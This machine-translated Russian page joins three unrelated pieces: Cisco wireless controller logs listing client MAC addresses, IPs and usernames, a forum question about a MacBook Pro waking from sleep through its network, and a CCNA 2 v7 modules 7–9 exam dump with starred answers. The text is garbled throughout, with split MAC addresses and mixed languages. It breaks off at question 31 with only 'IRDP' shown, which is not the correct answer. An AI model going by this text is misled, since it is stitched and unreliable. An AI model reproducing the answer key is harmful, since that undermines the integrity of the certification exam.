134 Ср 19 октября 06:16:38 2011 Несанкционированная точка доступа: 00: 22: 07: 0c: 99: 02 обнаружена на базовом радио MAC: 00: 3a: 98: 66: 50: 60 Номер интерфейса: 0 (802 .11b / g) с RSSI: -91 и SNR: 2 и классификацией: несекретно
135 Wed Oct 19 06:10:06 2011 Произошли ошибки дешифрования для клиента 00: 24: d6: 86: 3c: 4a с использованием ключа WPA на интерфейсе 802.11b / g точки доступа 00: 3a: 98: 65: f0: b0
136 среда, 19 октября 06:01:15 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24 : d6: 86: 3c: 4a MAC-адрес базового радио: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
137 среда 19 октября, 05:52:06 2011 Ассоциация клиентов: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP Адрес: 192.168.66.165
138 Ср 19 октября 05:51:00 2011 Связь с клиентами: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
139 Ср 19 октября 05:31:15 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a Base Radio MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
140 среда 19 октября 05:01:15 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
141 среда, 19 октября 04:31:15 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
142 Ср, 19 октября, 04:01:15 2011 Связь с клиентом: Клиент MAC: 00: 24: d6: 86: 3c: 4a Базовое радио MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
143 Ср 19 октября 03:50:11 2011 Клиент деаутентифицирован: MAC-адрес: e0: f8: 47: 3f: 8e: f4 Базовый MAC-адрес радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 1 пользователь Имя: неизвестно IP-адрес: 192.168.66.169 Причина: Не указано Код причины: 1
144 Ср 19 октября 03:47:31 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47: 3f: 8e: f4 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 1 Имя пользователя: unknown IP-адрес: unknown
145 Wed Oct 19 03:47:20 2011 Пользователь вышел из системы. MAC-адрес клиента: e0: f8: 47: 3f: 8e: f4, IP-адрес клиента: 192.168.66.169, MAC-адрес точки доступа: 00: 3a: 98: 4d: 3e: d0, имя точки доступа: Forlegning_2.etg
146 Ср 19 октября, 03:47:20 2011 Клиент деаутентифицирован: MAC-адрес: e0: f8: 47: 3f: 8e: f4 Базовый MAC-адрес радиомодуля: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest Ip Адрес: 192.168.66.169 Причина: Не указано Код причины: 1
147 Ср 19 октября 03:35:58 2011 Пользователь вышел из системы. Client MAC: 00: 21: 6a: 0e: 05: 2e, Client IP: 192.168.66.166, AP MAC: 00: 3a: 98: 5c: ea: 40, AP Name: Grupperom4
148 среда, октябрь 19 03:35:58 2011 Клиент деаутентифицирован: MAC-адрес: 00: 21: 6a: 0e: 05: 2e Базовая радиостанция MAC: 00: 3a: 98: 5c: ea: 40 Слот: 1 Имя пользователя: gjest IP-адрес: 192.168.66.166 Причина: Не указано Код причины: 1
149 Среда 19 октября 03:31:38 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
150 Wed Oct 19 03:31:15 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
151 среда 19 октября 03:15:07 2011 Деаутентификация клиента: MAC-адрес: d8: 2a: 7e : 65: e8: 52 Базовая радиостанция MAC: 00: 3a: 98: 5c: ea: 40 Слот: 0 Имя пользователя: gjest IP-адрес: неизвестно Причина: Не указано Код причины: 1
152 среда 19 октября 03: 01:15 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
153 среда, 19 октября 02:31:15 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой станции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
154 Wed Oct 19 02:27:30 2011 Client Association: Client MAC: 64: b9: e8: 2f: fd: a5 Базовое радио MAC: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
155 среда, октябрь 19 02:17:40 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest IP-адрес : 192.168.66.172
156 Ср 19 октября 02:07:50 2011 Ассоциация клиентов: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
157 Ср 19 октября 02:06:50 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 Base Radio MAC: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
158 Ср 19 октября 02:01:15 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой станции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
159 среда, 19 октября 01:36:51 2011 Ассоциация клиентов: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
160 среда 19 октября 01:31:12 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базового радио: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
161 среда, октябрь 19 01:18:11 2011 Ошибки расшифровки произошли для клиента 00: 24: d6: 86: 3c: 4a с использованием ключа WPA на 802.11b / g интерфейс AP 00: 3a: 98: 65: f0: b0
162 среда 19 октября 01:02:11 2011 Произошли ошибки дешифрования для клиента 00: 24: d6: 86: 3c: 4a с использованием ключа WPA на интерфейсе 802.11b / g точки доступа 00: 3a: 98: 65: f0: b0
163 Среда 19 октября 01:01:12 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24 : d6: 86: 3c: 4a MAC-адрес базового радио: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
164 среда 19 октября 00:40:12 2011 Ошибки расшифровки произошли для клиента 00: 24: d6: 86: 3c: 4a с использованием ключа WPA на 802.11b / g интерфейс AP 00: 3a: 98: 65: f0: b0
165 среда 19 октября 00:31:12 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c : 4a Base Radio MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104

.

rMBP 2015 Причина пробуждения: ARPT (сеть)

Кажется, я не могу понять, что так сильно разбудило мой Mac. Время автономной работы в режиме ожидания ужасное. Фрагмент выполнения «syslog | grep -i» Wake cause «» через Терминал:

23 апреля, 18:28:05 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Хост (0x01)

23 апр, 18:57:08 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: ARPT (сеть)

23 апр, 18:57:08 Ядро Davids-MacBook-Pro [0] <Примечание> : AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Хост (0x01)

23 апреля 19:02:41 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: ARPT (Сеть)

23 апреля 19:02:41 Ядро Davids-MacBook-Pro [0] <Примечание>: ARPT: Причина пробуждения: Пробуждение по данным TCP

23 апреля 19:02:41 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения : Хост (0x01)

23 апреля 19:05:15 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: EC.LidOpen (Пользователь)

Иногда:

23 апреля 12:21:17 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: SPIT (Пользователь)

23 апреля 12:21:17 Davids-MacBook- Ядро Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Кнопка (0x03)

23 апреля 13:19:31 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: SPIT (Пользователь)

23 апреля, 13:19:31 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Кнопка (0x03)

23 апреля 13:38:54 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: SPIT (Пользователь)

23 апреля 13:38:54 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Кнопка (0x03)

23 апреля 13: 46:39 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: SPIT (Пользователь)

23 апреля 13:46:39 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Wake Reas on: Button (0x03)

23 апреля 13:48:24 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: SPIT (Пользователь)

23 апреля 13:48:24 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Кнопка (0x03)

23 апреля, 14:50:05 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: SPIT (Пользователь)

апр. 23 14:50:05 Ядро Davids-MacBook-Pro [0] : AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Button (0x03)

23 апреля 15:39:26 Ядро Davids-MacBook-Pro [0] <Уведомление >: Причина пробуждения: SPIT (Пользователь)

23 апреля 15:39:26 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Кнопка (0x03)

23 апреля 15:44: 59 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: SPIT (Пользователь)

23 апреля 15:44:59 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Кнопка (0x03)

23 апреля 16:05:34 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: ARPT (Сеть)

23 апреля 16:05:34 Ядро Davids-MacBook-Pro [0] <Примечание>: ARPT: Wake Reason: Wake on Scan offload

23 апреля 16:05:34 Ядро Davids-MacBook-Pro [0] <Примечание>: AppleDeviceManagementHIDEventService :: processWakeReason Причина пробуждения: Host (0x01)

23 апреля 16:08: 30 Ядро Davids-MacBook-Pro [0] <Примечание>: Причина пробуждения: EC.LidOpen (Пользователь)

Кажется, не могу найти проблему через Google. Я много искал.

Благодарю за любую помощь.

П.С. это дубликат из rMBP 2015 10.10.3 Причина пробуждения: ARPT (сеть). Я не знаю, как он оказался в разделе OS X Mavericks, потому что я ясно помнил, как выбрал Йосемити из раскрывающегося списка. В любом случае, этот закрыт, и я буду признателен за любую помощь, которую я могу получить в этом разделе форума.

Спасибо.

.

CCNA 2 v7 Модули 7–9 Полные ответы на экзамен

1. Клиентский компьютер с поддержкой DHCP только что загрузился. На каких двух этапах клиентский компьютер будет использовать широковещательные сообщения при взаимодействии с DHCP-сервером? (Выберите два.)

DHCPDISCOVER *
DHCPACK
DHCPOFFER
DHCPREQUEST *
DHCPNAK

2. Администратор выдает команды:

 Маршрутизатор (config) # interface g0 / 1
Маршрутизатор (config-if) # ip адрес dhcp 

Чего пытается добиться администратор?

настройка маршрутизатора для работы в качестве сервера DHCPv4
настройка маршрутизатора для получения IP-параметров от сервера DHCPv4 *
настройка маршрутизатора для работы в качестве агента ретрансляции
настройка маршрутизатора для разрешения конфликтов IP-адресов

3.Когда клиент запрашивает первоначальную аренду адреса у DHCP-сервера, почему сообщение DHCPREQUEST отправляется в виде широковещательной рассылки?

Клиент еще не знает IP-адрес DHCP-сервера, отправившего предложение.
DHCP-сервер может находиться в другой подсети, поэтому запрос должен быть отправлен как широковещательный.
Клиенту еще не назначен MAC-адрес, поэтому он не может отправить одноадресное сообщение на уровне 2.
Клиент мог получить предложения от нескольких серверов, и широковещательная рассылка служит для неявного отклонения этих других предложений.*

4. Какое сообщение DHCP IPv4 содержит следующую информацию?

 Адрес назначения: 255.255.255.255
Клиентский IPv4-адрес: 0.0.0.0
Адрес шлюза по умолчанию: 0.0.0.0
Маска подсети: 0.0.0.0 

DHCPACK
DHCPDISCOVER *
DHCPOFFER
DHCPREQUEST

5. Разместите опции в следующем порядке:

клиент, инициирующий сообщение для поиска DHCP-сервера — DHCPDISCOVER
DHCP-сервер, отвечающий на начальный запрос клиента — DHCPOFFER
клиент, принимающий IP-адрес, предоставленный DHCP-сервером — DHCPREQUEST
DHCP-сервер, подтверждающий, что аренда предоставлена принято — DHCPACK

6.Какой протокол автоматизирует назначение IP-адресов в сети и какой номер порта он использует? (Выберите два.)

DHCP *
DNS
SMB
53
67 *
80

Объяснение: DNS использует порт 53 и преобразует URL-адреса в IP-адреса. SMB обеспечивает общий доступ к файлам и принтерам и использует порт 445. Порт 80 используется HTTP. HTTP — это протокол, используемый для связи между веб-браузером и сервером.

7. Обратитесь к выставке.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 7

ПК1 настроен на получение динамического IP-адреса от DHCP-сервера. ПК1 отключен на две недели. Когда ПК1 загружается и пытается запросить доступный IP-адрес, какой IP-адрес назначения будет помещен ПК1 в IP-заголовок?

192.168.1.1
192.168.1.255
255.255.255.255 *
192.168.1.8

Объяснение: Когда хост загружается и настроен для динамической IP-адресации, устройство пытается получить действительный IP-адрес.Он отправляет сообщение DHCPDISCOVER. Это широковещательное сообщение, поскольку адрес DHCP-сервера неизвестен (намеренно). IP-адрес назначения в IP-заголовке — 255.255.255.255, а MAC-адрес назначения — FF: FF: FF: FF: FF: FF.

8. Какое сообщение использует хост IPv4 для ответа, когда он получает сообщение DHCPOFFER от DHCP-сервера?

DHCPOFFER
DHCPDISCOVER
DHCPREQUEST *
DHCPACK

Объяснение: Когда клиент получает DHCPOFFER от сервера, он отправляет обратно широковещательное сообщение DHCPREQUEST.При получении сообщения DHCPREQUEST сервер отвечает одноадресным сообщением DHCPACK.

9. Какая команда при выполнении в режиме конфигурации интерфейса маршрутизатора позволяет интерфейсу автоматически получать IPv4-адрес от поставщика услуг Интернета, когда эта связь с поставщиком услуг Интернета включена?

service dhcp
ip-адрес dhcp *
ip helper-address
ip dhcp pool

Объяснение: Команда настройки интерфейса ip address dhcp настраивает интерфейс Ethernet как DHCP-клиент.Команда глобальной конфигурации service dhcp включает процесс сервера DHCPv4 на маршрутизаторе. Команда ip helper-address запускается для включения ретрансляции DHCP на маршрутизаторе. Команда ip dhcp pool создает имя пула адресов, которые сервер может назначать хостам.

10. Какое сообщение отправляет DHCP-клиент, когда срок аренды его IP-адреса истек?

одноадресное сообщение DHCPDISCOVER
широковещательное сообщение DHCPREQUEST
одноадресное сообщение DHCPREQUEST *
широковещательное сообщение DHCPDISCOVER

Объяснение: По истечении срока аренды IP-адреса клиента DHCP он отправляет одноадресное сообщение DHCPREQUEST непосредственно на сервер DHCPv4, который изначально предлагал адрес IPv4.

11. Главный компьютер пытается арендовать адрес через DHCP. Какое сообщение отправляется сервером, чтобы клиент знал, что он может использовать предоставленную IP-информацию?

DHCPDISCOVER
DHCPOFFER
DHCPREQUEST
DHCPACK *
DHCPNACK

Объяснение: Когда хост использует DHCP для автоматической настройки IP-адреса, он обычно отправляет два сообщения: сообщение DHCPDISCOVER и сообщение DHCPREQUEST. Эти два сообщения обычно отправляются как широковещательные, чтобы гарантировать их получение всеми DHCP-серверами.Серверы отвечают на эти сообщения с помощью сообщений DHCPOFFER, DHCPACK и DHCPNACK, в зависимости от обстоятельств.

12. Что является признаком того, что компьютер Windows не получил адрес IPv4 от DHCP-сервера?

Компьютер не может проверить связь с 127.0.0.1.
Компьютер получает IP-адрес, начинающийся с 169.254. *
Windows отображает сообщение о тайм-ауте DHCP.
Компьютер не может проверить связь с другими устройствами в той же сети с IP-адресами в 169.254.0.0 / 16 диапазон.

Объяснение: Когда ПК с Windows не может связаться с сервером DHCP IPv4, компьютер автоматически назначает IP-адрес в диапазоне 169.254.0.0/16. Любое другое устройство в той же сети, которое получает адрес из того же диапазона, доступно.

13. Какое сообщение DHCPv4 отправит клиент, чтобы принять адрес IPv4, предлагаемый сервером DHCP?

широковещательный DHCPACK
широковещательный DHCPREQUEST *
одноадресный DHCPACK
одноадресный DHCPREQUEST

Объяснение: Когда клиент DHCP получает сообщения DHCPOFFER, он отправляет широковещательное сообщение DHCPREQUEST для двух целей.Во-первых, он указывает предлагающему DHCP-серверу, что он хотел бы принять предложение и привязать IP-адрес. Во-вторых, он уведомляет любые другие отвечающие DHCP-серверы об отклонении их предложений.

14. Небольшая кофейня предлагает клиентам бесплатный Wi-Fi. Сеть включает в себя беспроводной маршрутизатор и модем DSL, подключенный к местной телефонной компании. Какой метод обычно используется для настройки подключения к телефонной компании?

Установите WAN-соединение на беспроводном маршрутизаторе как DHCP-клиент.*
Установите соединение между беспроводным маршрутизатором и модемом DSL как частную IP-сеть.
Установите модем DSL в качестве клиента DHCP для получения общедоступного IP-адреса от беспроводного маршрутизатора.
Установите модем DSL в качестве клиента DHCP для телефонной компании и в качестве сервера DHCP для внутреннего подключения.

Объяснение: В среде SOHO беспроводной маршрутизатор подключается к поставщику услуг Интернета через DSL или кабельный модем. IP-адрес между беспроводным маршрутизатором и сайтом провайдера обычно назначается провайдером через DHCP.Модем DSL не управляет назначением IP-адресов.

15. Компания использует DHCP для управления развертыванием IP-адресов на рабочих станциях сотрудников. ИТ-отдел развертывает несколько серверов DHCP в центре обработки данных и использует агенты ретрансляции DHCP для облегчения запросов DHCP с рабочих станций. Какие два порта UDP используются для пересылки трафика DHCP? (Выберите два.)

23
53
67 *
68 *
80

Объяснение: Протокол DHCP работает с 2 портами UDP.Порт 67 UDP является портом назначения для серверов DHCP, а клиенты DHCP используют порт 68 UDP.

16. Клиентскому устройству в сегменте Ethernet требуется IP-адрес для связи в сети. DHCP-сервер с IP-адресом 192.168.1.1 был настроен и включен в сети. Как клиентское устройство получит пригодный для использования IP-адрес для этой сети?

Отправить пакет DHCPACK на адрес шлюза по умолчанию.
Используйте статически настроенный IP-адрес из пула IP-адресов, предлагаемого DHCP-сервером.
Отправить сообщение DHCPDISCOVER на физический адрес FF-FF-FF-FF-FF-FF. *
Отправить пакет DHCPREQUEST на IP-адрес 255.255.255.255.

Объяснение: Как и IP-адресация, существует также специальный MAC-адрес для широковещательных целей: FF-FF-FF-FF-FF-FF. Когда клиенту DHCP необходимо отправить сообщение DHCP Discover для поиска серверов DHCP, клиент будет использовать этот MAC-адрес в качестве MAC-адреса назначения в кадре Ethernet. Это происходит потому, что ему неизвестны IP и MAC-адреса DHCP-серверов.

17. В чем преимущество настройки маршрутизатора Cisco в качестве агента ретрансляции?

Он может предоставлять услуги ретрансляции для нескольких служб UDP. *
Сокращает время ответа от DHCP-сервера.
Он может пересылать широковещательные и многоадресные сообщения от имени клиентов.
Это позволяет сообщениям DHCPDISCOVER проходить без изменений.

Explanation: По умолчанию команда ip helper-address перенаправляет следующие восемь служб UDP:
Порт 37: Время
Порт 49: TACACS
Порт 53: DNS
Порт 67: Клиент DHCP / BOOTP
Порт 68: DHCP / Сервер BOOTP
Порт 69: TFTP
Порт 137: служба имен NetBIOS
Порт 138: служба дейтаграмм NetBIOS

18.Какое утверждение о работе DHCP является верным?

Когда устройство, настроенное на использование DHCP, загружается, клиент передает сообщение DHCPDISCOVER для идентификации любых доступных DHCP-серверов в сети. *
Клиент должен дождаться истечения срока аренды, прежде чем он отправит другое сообщение DHCPREQUEST.
Если клиент получает несколько сообщений DHCPOFFER от разных серверов, он отправляет одноадресное сообщение DHCPREQUEST на сервер, с которого он выбирает получить информацию IP.
Сообщение DHCPDISCOVER содержит назначаемые IP-адрес и маску подсети, IP-адрес DNS-сервера и IP-адрес шлюза по умолчанию.

Объяснение: Клиент рассылает сообщение DHCPDISCOVER, чтобы идентифицировать все доступные DHCP-серверы в сети. Сервер DHCP отвечает сообщением DHCPOFFER. Это сообщение предлагает клиенту аренду, которая содержит такую ​​информацию, как назначаемый IP-адрес и маску подсети, IP-адрес DNS-сервера и IP-адрес шлюза по умолчанию.После того, как клиент получит аренду, полученная информация должна быть обновлена ​​с помощью другого сообщения DHCPREQUEST до истечения срока аренды.

19. Вопрос в представленном виде:

Сообщение DHCPDISCOVER используется для идентификации любых DHCP-серверов в сети.
Сообщение DHCPOFFER используется сервером для предложения аренды клиенту.
Сообщение DHCPREQUEST используется для идентификации как конкретного DHCP-сервера, так и аренды, которую принимает клиент.
Сообщение DHCPACK используется сервером для завершения успешной аренды с клиентом.
Сообщение DHCPNAK используется, когда предложенная аренда больше не действительна.

20. Сетевой администратор настраивает маршрутизатор для отправки сообщений RA с флагом M как 0 и флагом O как 1. Какое утверждение описывает эффект этой конфигурации, когда ПК пытается настроить свой IPv6-адрес?

Он должен связаться с сервером DHCPv6 для префикса, информации о длине префикса и идентификатора интерфейса, который является как случайным, так и уникальным.
Он должен использовать информацию, содержащуюся в сообщении RA, и обращаться к серверу DHCPv6 за дополнительной информацией.*
Он должен использовать исключительно информацию, содержащуюся в сообщении RA.
Он должен обращаться к серверу DHCPv6 за всей необходимой информацией.

Объяснение: ICMPv6 RA-сообщения содержат два флага, указывающих, должна ли рабочая станция использовать SLAAC, сервер DHCPv6 или их комбинацию для настройки своего IPv6-адреса. Эти два флага — флаг M и флаг O. Когда оба флага равны 0 (по умолчанию), клиент должен использовать только информацию в сообщении RA. Когда флаг M равен 0, а флаг O равен 1, клиент должен использовать информацию в сообщении RA и искать другие параметры конфигурации (такие как адреса DNS-серверов) на серверах DHCPv6.

21. Обратитесь к выставке.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 21

Что нужно сделать, чтобы компьютер PC-A получил IPv6-адрес от DHCPv6-сервера?

Добавьте команду ipv6 dhcp relay к интерфейсу Fa0 / 0. *
Измените команду ipv6 nd managed-config-flag на ipv6 nd other-config-flag.
Настройте команду ipv6 nd managed-config-flag на интерфейсе Fa0 / 1.
Добавьте IPv6-адрес 2001: DB8: 1234: 5678 :: 10/64 в конфигурацию интерфейса сервера DHCPv6.

Объяснение: Сообщения DHCPv6 клиента отправляются на адрес многоадресной рассылки с локальной областью связи, что означает, что сообщения не будут пересылаться маршрутизаторами. Поскольку клиент и сервер находятся в разных подсетях на разных интерфейсах, сообщение не достигнет сервера. Маршрутизатор можно настроить для ретрансляции сообщений DHCPv6 от клиента на сервер, настроив команду ipv6 dhcp relay на интерфейсе, который подключен к клиенту.

22.Обратитесь к выставке.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 22

Сетевой администратор реализует для компании операцию DHCPv6 без сохранения состояния. Клиенты настраивают адреса IPv6 должным образом. Однако клиенты не получают адрес DNS-сервера и информацию о доменном имени, настроенную в пуле DHCP. Что могло быть причиной проблемы?

Адрес DNS-сервера не находится в той же сети, что и клиенты.
Маршрутизатор настроен для работы по SLAAC.*
Интерфейс GigabitEthernet не активирован.
Клиенты не могут связаться с сервером DHCPv6, о чем свидетельствует количество активных клиентов, равное 0.

Объяснение: Маршрутизатор настроен для работы SLAAC, потому что нет команды конфигурации для изменения значения флага RA M и O. По умолчанию оба флага M и O установлены в 0. Чтобы разрешить работу DHCPv6 без сохранения состояния, необходимо выполнить команду интерфейса ipv6 nd other-config-flag. Интерфейс GigabitEthernet находится в рабочем состоянии, поскольку клиенты могут получать сообщения RA и настраивать свои IPv6-адреса должным образом.Кроме того, тот факт, что R1 является сервером DHCPv6 и клиенты получают сообщения RA, указывает на то, что клиенты могут связываться с сервером DHCP. Число активных клиентов равно 0, поскольку сервер DHCPv6 не поддерживает состояние адресов IPv6 клиентов (он не настроен для работы DHCPv6 с отслеживанием состояния). Проблема адреса DNS-сервера не имеет отношения к проблеме.

23. Вопрос в представленном виде:

Клиент DHCPv6 без сохранения состояния отправляет сообщение ЗАПРОС ИНФОРМАЦИИ DHCPv6 в качестве шага 3 в этом процессе.

24. Компания использует метод SLAAC для настройки адресов IPv6 для рабочих станций сотрудников. Какой адрес будет использовать клиент в качестве шлюза по умолчанию?

глобальный одноадресный адрес интерфейса маршрутизатора, подключенного к сети
уникальный локальный адрес интерфейса маршрутизатора, подключенного к сети
многоадресный адрес всех маршрутизаторов
локальный адрес канала интерфейса маршрутизатора, который подключен к сети *

Объяснение: Когда компьютер настроен на использование метода SLAAC для настройки адресов IPv6, он будет использовать информацию о префиксе и длине префикса, содержащуюся в сообщении RA, в сочетании с 64-битным идентификатором интерфейса (полученным с помощью процесса EUI-64 или с помощью случайного числа, которое генерируется клиентской операционной системой), чтобы сформировать адрес IPv6.Он использует локальный для канала адрес интерфейса маршрутизатора, подключенного к сегменту LAN, в качестве адреса шлюза по умолчанию IPv6.

25. Обратитесь к экспонату.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр.25

Сетевой администратор настраивает маршрутизатор для работы DHCPv6. Какой вывод можно сделать на основании команд?

Маршрутизатор настроен на работу DHCPv6 с отслеживанием состояния, но конфигурация пула DHCP не завершена.
Имя сервера DHCPv6 — ACAD_CLASS.
Клиенты будут настраивать идентификаторы интерфейсов выше 0010.
Маршрутизатор настроен для работы DHCPv6 без сохранения состояния. *

Объяснение: DHCPv6 предназначен для операции DHCPv6 без сохранения состояния, на что указывает изменение флага O на 1 и оставление флага M по умолчанию, равного 0. Следовательно, он не настроен для работы DHCPv6 с отслеживанием состояния. Хотя DNS-сервер имеет идентификатор интерфейса 0010, клиенты в операции DHCPv6 без сохранения состояния будут настраивать свои идентификаторы интерфейса либо с помощью EUI-64, либо с помощью случайного числа.ACAD_CLASS — это имя пула DHCP, а не имя DHCP-сервера.

26. Сетевой администратор анализирует функции, которые поддерживаются различными протоколами резервирования маршрутизатора первого перехода. Какой оператор описывает функцию, связанную с HSRP?

HSRP использует активный и резервный маршрутизаторы. *
HSRP не является собственностью.
Позволяет балансировать нагрузку между группой резервных маршрутизаторов.
Он использует сообщения ICMP, чтобы назначить шлюз по умолчанию для хостов.

Пояснение: Протокол резервирования маршрутизатора первого перехода HSRP является проприетарным для Cisco и поддерживает резервные и активные устройства. VRRPv2 и VRRPv3 не являются собственностью. GLBP является собственностью Cisco и поддерживает балансировку нагрузки между группой резервных маршрутизаторов.

27. См. Экспонат.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 27

Какой протокол можно настроить на шлюзах-маршрутизаторах R1 и R2, который позволит балансировать нагрузку трафика из внутренней локальной сети между двумя шлюзами в Интернет?

GLBP *
PVST +
PVST
STP

Explanation: GLBP, или протокол групповой балансировки нагрузки, позволяет нескольким маршрутизаторам действовать как один шлюз по умолчанию для хостов.GLBP балансирует трафик между отдельными маршрутизаторами для каждого хоста.

28. См. Выставку.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр. 28

Сетевой инженер устраняет неполадки подключения хоста в локальной сети, которая использует протокол резервирования первого прыжка. Какой адрес шлюза IPv4 нужно настроить на хосте?

192.168.2.0
192.168.2.1
192.168.2.2
192.168.2.100 *

Объяснение: Адрес шлюза хоста по умолчанию должен быть виртуальным IP-адресом FHRP (в данном случае GLBP).

29. См. Выставку.

CCNA 2 v7.0 Модули 7–9 Ответы на экзамен стр.29

Какой MAC-адрес назначения используется, когда кадры отправляются с рабочей станции на шлюз по умолчанию?

MAC-адрес виртуального маршрутизатора *
MAC-адрес резервного маршрутизатора
MAC-адреса как перенаправляющего, так и резервного маршрутизатора
MAC-адрес перенаправляющего маршрутизатора

Объяснение: IP-адрес виртуального маршрутизатора действует как шлюз по умолчанию для всех рабочих станций.Таким образом, MAC-адрес, возвращаемый протоколом разрешения адресов на рабочую станцию, будет MAC-адресом виртуального маршрутизатора.

30. Вопрос в представленном виде:

Hot Standby Router Protocol (HSRP) — это проприетарный протокол Cisco, разработанный для обеспечения прозрачного переключения при отказе устройства IPv4 с первым переходом.

31. Какая реализация FHRP является проприетарным протоколом Cisco, который поддерживает распределение нагрузки IPv4?

IRDP
